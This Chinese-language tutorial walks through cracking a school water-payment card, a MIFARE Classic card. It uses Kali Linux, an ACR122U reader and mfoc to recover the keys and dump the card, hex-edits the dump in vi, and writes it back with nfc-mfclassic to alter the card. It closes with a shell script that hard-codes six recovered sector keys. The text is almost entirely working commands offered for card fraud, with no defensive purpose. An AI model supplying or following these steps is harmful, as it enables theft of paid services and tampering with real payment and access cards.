由于Kali本身就集成了很多nfc工具,用起来很方便,再加上一个acr122u读卡器,来尝试PJ学校水卡!
首先安装驱动,到龙杰官网下载Linux的,解压后进入自己Linux发行版,Kali的是Debian的,直接是deb安装包,dpkg -i 安装就行了
接着安装debhelper libtool
apt-get install -y debhelper libtool
再打开pcscd的deamon进程
pcscd –fd
然后重启终端,su模式下就可以使用了,输入nfc-list就可以显示卡的信息
把卡放在acr122u上然后敲上
mfoc -O water.dump
就开始自动运算了,跑完后会在当前目录生成water.dump
然后用vi打开,命令行模式输入%!xxd,就可以修改十六进制数据,修改完后输入%!xxd -r就可以保存了
然后要写入原来的卡,用的是nfc-mfclassic
nfc-mfclassic w|r a|b [dumpfile]
w或r是写还是读,a或b是用A密码还是B密码,这个是M1卡的结构问题,这里用B密码
nfc-mfclassic w b water.dump
然后拿去测试一下就行了!
还有的是在windows下的dump破解的文件是1KB的,不是标准的4KB,所以需要用fixdump修复一下才行!
在修改一下,因为mfoc第二次不会加载原来的密码,所以它会重新破解,很费时间,但它有个 -k的选项,可以自己添加密码,我们可以写个shell脚本
简化第二次的破解
#!/bin/bash
mfoc -k 4efc1e4f8db3 -k b30d6566b8be -k a4980ce76785 -k dc66807440e5
-k 4eab50e85d50 -k 9fc6c3c63390 -O fanka.dump
每加一个密码都要加一次 -k ,如果密码多行尾要记得
然后把它变为可执行文件chmod +x ./shell
接着执行就可以了 ./shell